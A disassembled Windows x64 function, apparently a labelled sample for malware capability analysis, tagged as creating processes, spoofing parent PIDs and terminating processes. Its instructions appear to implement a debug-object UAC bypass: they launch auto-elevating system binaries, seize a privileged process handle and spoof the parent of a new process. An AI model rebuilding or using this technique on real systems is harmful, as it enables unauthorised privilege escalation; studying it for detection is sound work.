Function at 0x140001440
Capabilities:
Create process on windows
Spoof parent pid
Terminate process

Disassembly:
push rbp
push rsi
push rdi
push r14
lea rbp, [rsp - 0x4c8]
sub rsp, 0x5c8
mov rsi, rcx
lea rdx, str.C:WindowsSystem32winver.exe
xor r14d, r14d
lea rcx, [rbp + 0xb0]
mov qword [rbp + 0x4f8], r14
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rax, [rsp + 0x50]
xor r8d, r8d
lea rdx, [rbp + 0xb0]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0xb0]
call fcn.1400010b0
test al, al
je 0x1400014df
mov rdi, qword [rsp + 0x50]
lea r9d, [r14 + 8]
mov rcx, rdi
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x4f8]
lea edx, [r14 + 0x1e]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
jns 0x1400014f1
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xc0000001
add rsp, 0x5c8
pop r14
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtRemoveProcessDebug
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp + 0x4f8]
mov rcx, rdi
call rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.C:WindowsSystem32computerdefaults.exe
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
lea rdi, [rsp + 0x50]
mov ecx, 0x18
lea rdx, [rbp + 0xb0]
rep stosb byte [rdi], al
lea rdi, [rbp]
mov ecx, 0xb0
rep stosb byte [rdi], al
lea rax, [rsp + 0x50]
mov r8d, 1
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x48], rax
call fcn.1400010b0
test al, al
je 0x1400014df
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.DbgUiSetThreadDebugObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x4f8]
call rax
mov edx, 0xffffffff
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
test eax, eax
je 0x140001604
nop word [rax + rax]
cmp dword [rbp], 3
jne 0x1400015df
mov rdi, qword [rbp + 0x18]
test rdi, rdi
jne 0x140001613
mov edx, dword [rbp + 8]
mov r8d, 0x10002
mov ecx, dword [rbp + 4]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edx, 0xffffffff
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
test eax, eax
jne 0x1400015d0
xor eax, eax
add rsp, 0x5c8
pop r14
pop rdi
pop rsi
pop rbp
ret
mov rdx, 0xffffffffffffffff
mov dword [rsp + 0x30], r14d
mov r8, rdx
mov dword [rsp + 0x28], r14d
lea r9, [rbp + 0x500]
mov qword [rsp + 0x5c0], rbx
mov rcx, rdi
mov qword [rbp + 0x500], r14
mov dword [rsp + 0x20], 0x1fffff
call qword [sym.imp.ntdll.dll_NtDuplicateObject]
mov ebx, eax
test eax, eax
js 0x140001793
mov rcx, qword [rbp + 0x500]
xorps xmm0, xmm0
xor eax, eax
mov qword [rsp + 0x68], rcx
mov qword [rbp + 0x508], 0x30
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 8], rax
lea ecx, [rax + 0x30]
mov qword [rbp - 0x80], rax
movups xmmword [rbp - 0x58], xmm0
mov dword [rbp - 0x70], 0x70
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rsp + 0x70], xmm0
call fcn.1400051dc
mov qword [rbp - 8], rax
test rax, rax
je 0x140001786
xor r8d, r8d
lea r9, [rbp + 0x508]
mov rcx, rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x14000176e
mov rcx, qword [rbp - 8]
lea r9, [rsp + 0x68]
mov qword [rsp + 0x30], r14
xor edx, edx
mov qword [rsp + 0x28], r14
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x14000176e
mov eax, 5
mov dword [rbp - 0x34], 1
mov word [rbp - 0x30], ax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x48], rax
mov rdx, rsi
lea rax, [rbp - 0x70]
xor ecx, ecx
mov qword [rsp + 0x40], rax
lea rax, str.C:_Windows_System32
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80400
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000176e
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x140001781
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rbp - 8]
call fcn.1400051c8
mov rcx, qword [rbp + 0x500]
call qword [sym.imp.ntdll.dll_NtClose]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.DbgUiSetThreadDebugObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
call rax
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, rdi
mov qword [rbp + 0x4f8], r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x4f8]
test rcx, rcx
je 0x140001806
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, ebx
mov rbx, qword [rsp + 0x5c0]
add rsp, 0x5c8
pop r14
pop rdi
pop rsi
pop rbp
ret